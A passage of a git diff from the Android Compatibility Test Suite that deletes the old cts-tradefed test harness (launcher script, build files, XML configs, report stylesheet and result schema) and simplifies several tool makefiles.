-        return supportedAbis;
-    }
-
-    public static void removeUnsupportedAbis(Expectation expectation, Set<String> supportedAbis) {
-        if (expectation == null) {
-            return;
-        }
-
-        String description = expectation.getDescription();
-        if (description.isEmpty()) {
-            return;
-        }
-
-        String[] unsupportedAbis = description.split(":")[1].split(",");
-        for (String a : unsupportedAbis) {
-            String abi = a.trim();
-            if (!AbiUtils.isAbiSupportedByCompatibility(abi)) {
-                throw new RuntimeException(
-                        String.format("Unrecognised ABI %s in %s", abi, description));
-            }
-            supportedAbis.remove(abi);
-        }
-    }
-
-}
diff --git a/tools/dasm/Android.mk b/tools/dasm/Android.mk
index c18e677..1b1f328 100644
--- a/tools/dasm/Android.mk
+++ b/tools/dasm/Android.mk
@@ -22,14 +22,9 @@
 LOCAL_IS_HOST_MODULE := true
 LOCAL_MODULE_CLASS := EXECUTABLES
 LOCAL_MODULE := dasm
-
-include $(BUILD_SYSTEM)/base_rules.mk
-
-$(LOCAL_BUILT_MODULE): $(HOST_OUT_JAVA_LIBRARIES)/dasm$(COMMON_JAVA_PACKAGE_SUFFIX)
-$(LOCAL_BUILT_MODULE): $(LOCAL_PATH)/etc/dasm | $(ACP)
-	@echo "Copy: $(PRIVATE_MODULE) ($@)"
-	$(copy-file-to-new-target)
-	$(hide) chmod 755 $@
+LOCAL_SRC_FILES := etc/dasm
+LOCAL_ADDITIONAL_DEPENDENCIES := $(HOST_OUT_JAVA_LIBRARIES)/dasm$(COMMON_JAVA_PACKAGE_SUFFIX)
+include $(BUILD_PREBUILT)
 
 INTERNAL_DALVIK_MODULES += $(LOCAL_INSTALLED_MODULE)
 
diff --git a/tools/junit/Android.mk b/tools/junit/Android.mk
index 90e6924..bc507c1 100644
--- a/tools/junit/Android.mk
+++ b/tools/junit/Android.mk
@@ -18,10 +18,6 @@
 LOCAL_SRC_FILES :=  $(call all-java-files-under, src)
 LOCAL_MODULE := cts-junit
 LOCAL_MODULE_TAGS := optional
-LOCAL_STATIC_JAVA_LIBRARIES := junit4-target
+LOCAL_STATIC_JAVA_LIBRARIES := junit
 LOCAL_DEX_PREOPT := false
 include $(BUILD_JAVA_LIBRARY)
-
-cts_library_jar := $(CTS_TESTCASES_OUT)/$(LOCAL_MODULE).jar
-$(cts_library_jar): $(LOCAL_BUILT_MODULE)
-	$(copy-file-to-target)
diff --git a/tools/testng/Android.mk b/tools/testng/Android.mk
index 2abb7f9..af1593d 100644
--- a/tools/testng/Android.mk
+++ b/tools/testng/Android.mk
@@ -21,7 +21,3 @@
 LOCAL_STATIC_JAVA_LIBRARIES := testng
 LOCAL_DEX_PREOPT := false
 include $(BUILD_JAVA_LIBRARY)
-
-cts_library_jar := $(CTS_TESTCASES_OUT)/$(LOCAL_MODULE).jar
-$(cts_library_jar): $(LOCAL_BUILT_MODULE)
-	$(copy-file-to-target)
diff --git a/tools/tradefed-host/.classpath b/tools/tradefed-host/.classpath
deleted file mode 100644
index e716219..0000000
--- a/tools/tradefed-host/.classpath
+++ /dev/null
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<classpath>
-	<classpathentry kind="src" path="src"/>
-	<classpathentry kind="src" path="res"/>
-	<classpathentry kind="src" path="commonutil-src"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
-	<classpathentry exported="true" kind="var" path="CTS_SRC_ROOT/out/host/common/obj/JAVA_LIBRARIES/ctsdeviceinfolib_intermediates/javalib.jar"/>
-	<classpathentry kind="var" path="CTS_SRC_ROOT/out/host/common/obj/JAVA_LIBRARIES/hosttestlib_intermediates/javalib.jar"/>
-	<classpathentry kind="var" path="CTS_SRC_ROOT/prebuilts/misc/common/tradefed/tradefed-prebuilt.jar"/>
-	<classpathentry kind="output" path="bin"/>
-</classpath>
diff --git a/tools/tradefed-host/.gitignore b/tools/tradefed-host/.gitignore
deleted file mode 100644
index ba077a4..0000000
--- a/tools/tradefed-host/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-bin
diff --git a/tools/tradefed-host/.project b/tools/tradefed-host/.project
deleted file mode 100644
index ffd16af..0000000
--- a/tools/tradefed-host/.project
+++ /dev/null
@@ -1,24 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<projectDescription>
-	<name>cts-tradefed-host</name>
-	<comment></comment>
-	<projects>
-	</projects>
-	<buildSpec>
-		<buildCommand>
-			<name>org.eclipse.jdt.core.javabuilder</name>
-			<arguments>
-			</arguments>
-		</buildCommand>
-	</buildSpec>
-	<natures>
-		<nature>org.eclipse.jdt.core.javanature</nature>
-	</natures>
-	<linkedResources>
-		<link>
-			<name>commonutil-src</name>
-			<type>2</type>
-			<locationURI>CTS_SRC_ROOT/cts/libs/commonutil/src</locationURI>
-		</link>
-	</linkedResources>
-</projectDescription>
diff --git a/tools/tradefed-host/Android.mk b/tools/tradefed-host/Android.mk
deleted file mode 100644
index e7954a6..0000000
--- a/tools/tradefed-host/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../../libs/commonutil/src)
-
-LOCAL_JAVA_RESOURCE_DIRS := res
-
-LOCAL_MODULE := old-cts-tradefed
-LOCAL_MODULE_TAGS := optional
-LOCAL_JAVA_LIBRARIES := tradefed-prebuilt hosttestlib
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceinfolib compatibility-host-util
-
-LOCAL_JAR_MANIFEST := MANIFEST.mf
-
-LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-# Build all sub-directories
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tools/tradefed-host/MANIFEST.mf b/tools/tradefed-host/MANIFEST.mf
deleted file mode 100644
index 5528c06..0000000
--- a/tools/tradefed-host/MANIFEST.mf
+++ /dev/null
@@ -1,3 +0,0 @@
-Manifest-Version: 1.0
-Main-Class: com.android.cts.tradefed.testtype
-Implementation-Version: %BUILD_NUMBER%
diff --git a/tools/tradefed-host/README b/tools/tradefed-host/README
deleted file mode 100644
index 545d4b4..0000000
--- a/tools/tradefed-host/README
+++ /dev/null
@@ -1,83 +0,0 @@
-CTS Trade Federation
----------------------
-
-CTS Trade Federation, cts-tradefed for short, is the next
-generation test harness for CTS.
-
-cts-tradefed is built on top of the Android Trade Federation test harness.
-
-It works in a similar manner to the prior CTS harness, but supports some
-advanced features such as:
-
-  - modular, flexible extensible design. cts-tradefed can be extended to
-support running CTS in a continuous test environment.
-  - supports sharding a CTS test run across multiple devices in parallel
-  - automatically continue a CTS test run on another device if connection
-is lost
-
-Configuring cts-tradefed
-------------------------
-
-1. Ensure 'adb' is in your current PATH. adb can be found in the
-Android SDK available from http://developer.android.com
-
-Example:
-  PATH=$PATH:/home/myuser/android-sdk-linux_x86/platform-tools
-
-2. Follow the 'Setting up your device' steps documented in the
-CTS User Manual. The CTS User Manual can be downloaded at
-http://source.android.com/compatibility/downloads.html
-
-3. Connect the device to the host machine.
-
-4. Ensure device is visible via 'adb devices'
-
-Using cts-tradefed
--------------------
-
-To run a test plan on a single device:
-
-1. Make sure you have at least one device connected
-2. Launch the cts-tradefed console by running the 'cts-tradefed'. If you've
-downloaded and extracted the CTS zip, the script can be found at
-  android-cts/tools/cts-tradefed
-Or else if you are working from the Android source tree and have run make cts,
-the script can be found at
-  out/host/linux-x86/cts/android-cts/tools/cts-tradefed
-3. Type:
-'run cts --plan CTS' to run the default CTS plan
-
-Some other useful commands are
-
-To run a test package:
-'run cts --package <packagename>'
-
-To run a test class:
-'run cts --class <full test class name>'
-
-To shard a plan test run on multiple devices
-'run cts --plan CTS --shards <number of shards>
-note: all connected devices must be running the same build
-
-For more options:
-'run cts --help'
-
-CTS Tradefed Development
-------------------------
-See http://source.android.com for instructions on obtaining the Android
-platform source code and setting up a build environment.
-
-The source for the CTS extensions for tradefed can be found at
-<android source root>/cts/tools/tradefed-host
-
-The source for the tradefed framework can be found on the 'tradefed' branch.
-
-Perform these steps to build and run cts-tradefed from the development
-environment:
-cd <path to android source root>
-make cts
-cts-tradefed
-
-More documentation and details on using and extending trade federation will
-be forthcoming in the near future.
-
diff --git a/tools/tradefed-host/etc/Android.mk b/tools/tradefed-host/etc/Android.mk
deleted file mode 100644
index 3c2a3cf..0000000
--- a/tools/tradefed-host/etc/Android.mk
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_PREBUILT_EXECUTABLES := old-cts-tradefed
-include $(BUILD_HOST_PREBUILT)
-
diff --git a/tools/tradefed-host/etc/old-cts-tradefed b/tools/tradefed-host/etc/old-cts-tradefed
deleted file mode 100755
index 1dc7638..0000000
--- a/tools/tradefed-host/etc/old-cts-tradefed
+++ /dev/null
@@ -1,101 +0,0 @@
-#!/bin/bash
-
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# launcher script for old-cts-tradefed harness
-# can be used from an Android build environment, or a standalone cts zip
-
-checkFile() {
-    if [ ! -f "$1" ]; then
-        echo "Unable to locate $1"
-        exit
-    fi;
-}
-
-checkPath() {
-    if ! type -P $1 &> /dev/null; then
-        echo "Unable to find $1 in path."
-        exit
-    fi;
-}
-
-checkPath adb
-checkPath java
-
-# check java version
-JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '[ "]1\.[678][\. "$$]')
-if [ "${JAVA_VERSION}" == "" ]; then
-    echo "Wrong java version. 1.6, 1.7 or 1.8 is required."
-    exit
-fi
-
-# check debug flag and set up remote debugging
-if [ -n "${TF_DEBUG}" ]; then
-  if [ -z "${TF_DEBUG_PORT}" ]; then
-    TF_DEBUG_PORT=10088
-  fi
-  RDBG_FLAG=-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=${TF_DEBUG_PORT}
-fi
-
-# get OS
-HOST=`uname`
-if [ "$HOST" == "Linux" ]; then
-    OS="linux-x86"
-elif [ "$HOST" == "Darwin" ]; then
-    OS="darwin-x86"
-else
-    echo "Unrecognized OS"
-    exit
-fi
-
-# check if in Android build env
-if [ ! -z "${ANDROID_BUILD_TOP}" ]; then
-    if [ ! -z "${ANDROID_HOST_OUT}" ]; then
-      OLD_CTS_ROOT=${ANDROID_HOST_OUT}/old-cts
-    else
-      OLD_CTS_ROOT=${ANDROID_BUILD_TOP}/${OUT_DIR:-out}/host/${OS}/old-cts
-    fi
-    if [ ! -d ${OLD_CTS_ROOT} ]; then
-        echo "Could not find $OLD_CTS_ROOT in Android build environment. Try 'make old-cts'"
-        exit
-    fi;
-fi;
-
-if [ -z ${OLD_CTS_ROOT} ]; then
-    # assume we're in an extracted cts install
-    OLD_CTS_ROOT="$(dirname $0)/../.."
-fi;
-
-JAR_DIR=${OLD_CTS_ROOT}/old-android-cts/tools
-JARS="tradefed-prebuilt.jar hosttestlib.jar old-cts-tradefed.jar"
-
-for JAR in $JARS; do
-    checkFile ${JAR_DIR}/${JAR}
-    JAR_PATH=${JAR_PATH}:${JAR_DIR}/${JAR}
-done
-
-# load any shared libraries for host-side executables
-LIB_DIR=${OLD_CTS_ROOT}/old-android-cts/lib
-if [ "$HOST" == "Linux" ]; then
-    LD_LIBRARY_PATH=${LIB_DIR}:${LIB_DIR}64:${LD_LIBRARY_PATH}
-    export LD_LIBRARY_PATH
-elif [ "$HOST" == "Darwin" ]; then
-    DYLD_LIBRARY_PATH=${LIB_DIR}:${LIB_DIR}64:${DYLD_LIBRARY_PATH}
-    export DYLD_LIBRARY_PATH
-fi
-
-java $RDBG_FLAG \
-  -cp ${JAR_PATH} -DCTS_ROOT=${OLD_CTS_ROOT} com.android.cts.tradefed.command.CtsConsole "$@"
-
diff --git a/tools/tradefed-host/res/config/basic-reporters.xml b/tools/tradefed-host/res/config/basic-reporters.xml
deleted file mode 100644
index d52a85b..0000000
--- a/tools/tradefed-host/res/config/basic-reporters.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Configuration with basic cts reporters" >
-    <result_reporter class="com.android.cts.tradefed.result.CtsTestLogReporter" />
-    <result_reporter class="com.android.cts.tradefed.result.IssueReporter" />
-</configuration>
diff --git a/tools/tradefed-host/res/config/common-config.xml b/tools/tradefed-host/res/config/common-config.xml
deleted file mode 100644
index e1ac66d..0000000
--- a/tools/tradefed-host/res/config/common-config.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Common base configuration for CTS module">
-    <!--
-      This common base configuration contains some commonly used preparers
-      -->
-    <target_preparer class="com.android.cts.tradefed.targetprep.CtsFilePusher">
-        <option name="cleanup" value="true" />
-    </target_preparer>
-    <target_preparer class="com.android.cts.tradefed.targetprep.CtsApkInstaller">
-        <option name="cleanup-apks" value="true" />
-    </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer" />
-</configuration>
diff --git a/tools/tradefed-host/res/config/cts.xml b/tools/tradefed-host/res/config/cts.xml
deleted file mode 100644
index e08ad81..0000000
--- a/tools/tradefed-host/res/config/cts.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2010 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration
-    description="Runs a CTS plan from a pre-existing CTS installation">
-
-    <option name="enable-root" value="false" />
-    <build_provider class="com.android.cts.tradefed.build.CtsBuildProvider" />
-    <device_recovery class="com.android.tradefed.device.WaitDeviceRecovery" />
-    <test class="com.android.cts.tradefed.testtype.CtsTest" />
-    <logger class="com.android.tradefed.log.FileLogger">
-        <option name="log-level-display" value="WARN" />
-    </logger>
-    <result_reporter class="com.android.cts.tradefed.result.CtsXmlResultReporter" />
-    <template-include name="reporters" default="basic-reporters" />
-</configuration>
diff --git a/tools/tradefed-host/res/report/cts_result.css b/tools/tradefed-host/res/report/cts_result.css
deleted file mode 100644
index f825d7a..0000000
--- a/tools/tradefed-host/res/report/cts_result.css
+++ /dev/null
@@ -1,186 +0,0 @@
-/* Copyright (C) 2008 The Android Open Source Project
-
-    Licensed under the Apache License, Version 2.0 (the "License");
-    you may not use this file except in compliance with the License.
-    You may obtain a copy of the License at
-
-        http://www.apache.org/licenses/LICENSE-2.0
-
-    Unless required by applicable law or agreed to in writing, software
-    distributed under the License is distributed on an "AS IS" BASIS,
-    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-    See the License for the specific language governing permissions and
-    limitations under the License.
-*/
-
-body {
-    font-family:arial,sans-serif;
-    color:#000;
-    font-size:13px;
-    color:#333;
-    padding:10;
-    margin:10;
-}
-
-/* Report logo and device name */
-table.title {
-    padding:5px;
-    border-width: 0px;
-    margin-left:auto;
-    margin-right:auto;
-    vertical-align:middle;
-}
-
-table.summary {
-    background-color: rgb(212, 233, 169);
-    border-collapse:collapse;
-    border: 0px solid #A5C639;
-    margin-left:auto;
-    margin-right:auto;
-}
-
-table.summary th {
-    background-color: #A5C639;
-    font-size: 1.2em;
-    padding: 0.5em;
-}
-
-table.summary td {
-    border-width: 0px 0px 0px 0px;
-    border-color: gray;
-    border-style: inset;
-    font-size: 1em;
-    padding: 0.5em;
-    vertical-align: top;
-}
-
-table.testsummary {
-    background-color: rgb(212, 233, 169);
-    border-collapse:collapse;
-    margin-left:auto;
-    margin-right:auto;
-}
-
-table.testsummary th {
-    background-color: #A5C639;
-    border: 1px outset gray;
-    padding: 0.5em;
-}
-
-table.testsummary td {
-    border: 1px outset #A5C639;
-    padding: 0.5em;
-    text-align: center;
-}
-
-table.testdetails {
-    background-color: rgb(212, 233, 169);
-    border-collapse:collapse;
-    border-width:1;
-    border-color: #A5C639;
-    margin-left:auto;
-    margin-right:auto;
-    margin-bottom: 2em;
-    vertical-align: top;
-    width: 95%;
-}
-
-table.testdetails th {
-    background-color: #A5C639;
-    border-width: 1px;
-    border-color: gray;
-    border-style: outset;
-    height: 2em;
-    padding: 0.2em;
-}
-
-table.testdetails td {
-    border-width: 1px;
-    border-color: #A5C639;
-    border-style: outset;
-    text-align: left;
-    vertical-align: top;
-    padding: 0.2em;
-}
-
-table.testdetails td.package {
-    background-color: white;
-    border: 0px;
-    font-weight: bold;
-}
-
-/* Test cell details */
-td.failed {
-    background-color: #FA5858;
-    font-weight:bold;
-    vertical-align: top;
-    text-align: center;
-}
-
-td.failuredetails {
-    text-align: left;
-}
-
-td.pass {
-    text-align: center;
-    margin-left:auto;
-    margin-right:auto;
-}
-
-td.timeout, td.omitted, td.notExecuted {
-    background-color: #A5C639;
-    vertical-align: top;
-    text-align: center;
-}
-
-td.testname {
-    border-width: 1px;
-    border-color: #A5C639;
-    border-style: outset;
-    text-align: left;
-    vertical-align: top;
-    padding:1;
-    overflow:hidden;
-}
-
-td.testcase {
-    border-width: 1px;
-    border-color: #A5C639;
-    border-style: outset;
-    text-align: left;
-    vertical-align: top;
-    padding:1;
-    overflow:hidden;
-    font-weight:bold;
-}
-
-td.testcasespacer {
-    border-width: 1px;
-    border-color: #A5C639;
-    border-style: outset;
-    text-align: left;
-    vertical-align: top;
-    padding:1;
-    overflow:hidden;
-    font-weight:bold;
-}
-
-td.testsuite {
-    border-width: 1px;
-    border-color: #A5C639;
-    border-style: outset;
-    text-align: left;
-    vertical-align: top;
-    padding:1;
-    overflow:hidden;
-    font-weight:bold;
-}
-
-div.details {
-    white-space: pre-wrap;       /* css-3 */
-    white-space: -moz-pre-wrap;  /* Mozilla, since 1999 */
-    white-space: -pre-wrap;      /* Opera 4-6 */
-    white-space: -o-pre-wrap;    /* Opera 7 */
-    word-wrap: break-word;       /* Internet Explorer 5.5+ */
-    overflow:auto;
-}
diff --git a/tools/tradefed-host/res/report/cts_result.xsd b/tools/tradefed-host/res/report/cts_result.xsd
deleted file mode 100644
index ce606e9..0000000
--- a/tools/tradefed-host/res/report/cts_result.xsd
+++ /dev/null
@@ -1,279 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
-           targetNamespace="http://compatibility.android.com/cts_result/1.15"
-           xmlns="http://compatibility.android.com/cts_result/1.15"
-           elementFormDefault="qualified">
-
-<xs:element name="TestResult">
-  <xs:complexType>
-    <xs:sequence>
-      <xs:element name="DeviceInfo" type="deviceInfoType"/>
-      <xs:element name="HostInfo" type="hostInfoType"/>
-      <xs:element name="Summary" type="summaryType"/>
-      <xs:element name="TestPackage" type="testPackageType" maxOccurs="unbounded" minOccurs="1"/>
-    </xs:sequence>
-    <xs:attribute name="starttime" type="xs:string"/>
-    <xs:attribute name="endtime" type="xs:string"/>
-    <xs:attribute name="testPlan" type="xs:string"/>
-    <xs:attribute name="version" type="xs:string"/>
-    <xs:attribute name="suite" type="xs:string"/>
-  </xs:complexType>
-</xs:element>
-
-<xs:complexType name="deviceInfoType">
-  <xs:sequence>
-    <xs:element name="Screen">
-      <xs:complexType>
-        <xs:attribute name="screen_size" type="xs:string"/>
-        <xs:attribute name="resolution" type="xs:string"/>
-        <xs:attribute name="screen_density" type="xs:decimal"/>
-        <xs:attribute name="screen_density_bucket" type="xs:string"/>
-      </xs:complexType>
-    </xs:element>
-    <xs:element name="PhoneSubInfo">
-      <xs:complexType>
-        <xs:attribute name="subscriberId" type="xs:string"/>
-      </xs:complexType>
-    </xs:element>
-    <xs:element name="BuildInfo">
-      <xs:complexType>
-        <xs:attribute name="Xdpi" type="xs:decimal"/>
-        <xs:attribute name="Ydpi" type="xs:decimal"/>
-        <xs:attribute name="androidPlatformVersion" type="xs:integer"/>
-        <xs:attribute name="buildID" type="xs:string"/>
-        <xs:attribute name="buildName" type="xs:string"/>
-        <xs:attribute name="buildVersion" type="xs:string"/>
-        <xs:attribute name="build_board" type="xs:string"/>
-        <xs:attribute name="build_manufacturer" type="xs:string"/>
-        <xs:attribute name="build_brand" type="xs:string"/>
-        <xs:attribute name="build_device" type="xs:string"/>
-        <xs:attribute name="build_fingerprint" type="xs:string"/>
-        <xs:attribute name="build_model" type="xs:string"/>
-        <xs:attribute name="build_type" type="xs:string"/>
-        <xs:attribute name="deviceID" type="xs:string"/>
-        <xs:attribute name="imei" type="xs:integer"/>
-        <xs:attribute name="imsi" type="xs:integer"/>
-        <xs:attribute name="keypad" type="xs:string"/>
-        <xs:attribute name="locales" type="xs:string"/>
-        <xs:attribute name="navigation" type="xs:string"/>
-        <xs:attribute name="network" type="xs:string"/>
-        <xs:attribute name="touch" type="xs:string"/>
-        <xs:attribute name="openGlEsVersion" type="xs:string"/>
-        <xs:attribute name="partitions" type="xs:string"/>
-        <xs:attribute name="build_abi" type="xs:string"/>
-        <xs:attribute name="build_abi2" type="xs:string"/>
-        <xs:attribute name="storage_devices" type="xs:string"/>
-        <xs:attribute name="multi_user" type="xs:string"/>
-      </xs:complexType>
-    </xs:element>
-    <xs:element name="FeatureInfo" type="featureInfoType"/>
-    <xs:element name="ProcessInfo" type="processInfoType"/>
-    <xs:element name="SystemLibrariesInfo" type="systemLibrariesInfoType"/>
-    <xs:element name="OpenGLCompressedTextureFormatsInfo" type="openGLCompressedTextureFormatsInfoType"/>
-  </xs:sequence>
-</xs:complexType>
-
-<xs:complexType name="hostInfoType">
-  <xs:sequence>
-    <xs:element name="Os">
-      <xs:complexType>
-        <xs:attribute name="arch" type="xs:string"/>
-        <xs:attribute name="name" type="xs:string"/>
-        <xs:attribute name="version" type="xs:string"/>
-      </xs:complexType>
-    </xs:element>
-    <xs:element name="Java">
-      <xs:complexType>
-        <xs:attribute name="name" type="xs:string"/>
-        <xs:attribute name="version" type="xs:string"/>
-      </xs:complexType>
-    </xs:element>
-    <xs:element name="Cts">
-      <xs:complexType>
-        <xs:sequence>
-          <xs:element name="IntValue" minOccurs="0" maxOccurs="unbounded">
-            <xs:complexType>
-              <xs:attribute name="name" type="xs:string"/>
-              <xs:attribute name="value" type="xs:integer"/>
-            </xs:complexType>
-          </xs:element>
-        </xs:sequence>
-        <xs:attribute name="version" type="xs:string"/>
-      </xs:complexType>
-    </xs:element>
-  </xs:sequence>
-  <xs:attribute name="name" type="xs:string"/>
-</xs:complexType>
-
-<xs:complexType name="featureInfoType">
-    <xs:sequence>
-        <xs:element name="Feature" minOccurs="0" maxOccurs="unbounded">
-            <xs:complexType>
-                <xs:attribute name="name" type="xs:string" />
-                <xs:attribute name="type" type="xs:string" />
-                <xs:attribute name="available" type="xs:string" />
-            </xs:complexType>
-        </xs:element>
-    </xs:sequence>
-</xs:complexType>
-
-<xs:complexType name="processInfoType">
-    <xs:sequence>
-        <xs:element name="Process" minOccurs="0" maxOccurs="unbounded">
-            <xs:complexType>
-                <xs:attribute name="name" type="xs:string" />
-                <xs:attribute name="uid" type="xs:integer" />
-            </xs:complexType>
-        </xs:element>
-    </xs:sequence>
-</xs:complexType>
-
-<xs:complexType name="systemLibrariesInfoType">
-    <xs:sequence>
-        <xs:element name="Library" minOccurs="0" maxOccurs="unbounded">
-            <xs:complexType>
-                <xs:attribute name="name" type="xs:string" />
-            </xs:complexType>
-        </xs:element>
-    </xs:sequence>
-</xs:complexType>
-
-<xs:complexType name="openGLCompressedTextureFormatsInfoType">
-    <xs:sequence>
-        <xs:element name="TextureFormat" minOccurs="0" maxOccurs="unbounded">
-            <xs:complexType>
-                <xs:attribute name="name" type="xs:string" />
-            </xs:complexType>
-        </xs:element>
-    </xs:sequence>
-</xs:complexType>
-
-<xs:complexType name="summaryType">
-  <xs:attribute name="failed" type="xs:integer"/>
-  <xs:attribute name="notExecuted" type="xs:integer"/>
-  <xs:attribute name="pass" type="xs:integer"/>
-  <xs:attribute name="timeout" type="xs:integer"/>
-  <xs:attribute name="omitted" type="xs:integer"/>
-</xs:complexType>
-
-<xs:complexType name="testPackageType">
-  <xs:sequence>
-    <xs:element name="TestSuite" type="testSuiteType" minOccurs="0" maxOccurs="unbounded" />
-  </xs:sequence>
-  <xs:attribute name="appPackageName" type="xs:string"/>
-  <xs:attribute name="digest" type="xs:hexBinary"/>
-  <xs:attribute name="name" type="xs:string" use="required"/>
-  <xs:attribute name="signatureCheck" type="xs:boolean" />
-</xs:complexType>
-
-<xs:complexType name="testSuiteType">
-  <xs:sequence>
-    <xs:element name="TestCase" type="testCaseType" minOccurs="0" maxOccurs="unbounded"/>
-    <xs:element name="TestSuite" type="testSuiteType" minOccurs="0" maxOccurs="unbounded"/>
-  </xs:sequence>
-  <xs:attribute name="name" type="xs:string" use="required"/>
-</xs:complexType>
-
-<xs:complexType name="testCaseType">
-  <xs:sequence>
-    <xs:element name="Test" type="testType" minOccurs="0" maxOccurs="unbounded"/>
-  </xs:sequence>
-  <xs:attribute name="name" type="xs:string" use="required"/>
-  <xs:attribute name="priority" type="xs:string"/>
-</xs:complexType>
-
-<xs:simpleType name="unitType">
-  <xs:restriction base="xs:string">
-    <xs:enumeration value="none"/>
-    <xs:enumeration value="ms"/>
-    <xs:enumeration value="fps"/>
-    <xs:enumeration value="ops"/>
-    <xs:enumeration value="kbps"/>
-    <xs:enumeration value="mbps"/>
-    <xs:enumeration value="byte"/>
-    <xs:enumeration value="count"/>
-    <xs:enumeration value="score"/>
-  </xs:restriction>
-</xs:simpleType>
-
-<xs:simpleType name="scoreTypeType">
-  <xs:restriction base="xs:string">
-    <xs:enumeration value="higherBetter"/>
-    <xs:enumeration value="lowerBetter"/>
-    <xs:enumeration value="neutral"/>
-    <xs:enumeration value="warning"/>
-  </xs:restriction>
-</xs:simpleType>
-
-<xs:complexType name="testType">
-  <xs:sequence>
-    <xs:element name="FailedScene" minOccurs="0" maxOccurs="1">
-      <xs:complexType>
-        <xs:sequence>
-          <xs:element name="StackTrace" type="xs:string" minOccurs="0" maxOccurs="1"/>
-        </xs:sequence>
-        <xs:attribute name="message" type="xs:string"/>
-      </xs:complexType>
-    </xs:element>
-    <xs:element name="Summary" minOccurs="0" maxOccurs="1">
-      <xs:complexType>
-        <xs:simpleContent>
-          <xs:extension base="xs:decimal">
-            <xs:attribute name="message" type="xs:string" use="required" />
-            <xs:attribute name="scoreType" type="scoreTypeType" use="required" />
-            <xs:attribute name="unit" type="unitType" use="required" />
-            <xs:attribute name="target" type="xs:decimal" />
-          </xs:extension>
-        </xs:simpleContent>
-      </xs:complexType>
-    </xs:element>
-    <xs:element name="Details" minOccurs="0" maxOccurs="1">
-      <xs:complexType>
-        <xs:sequence>
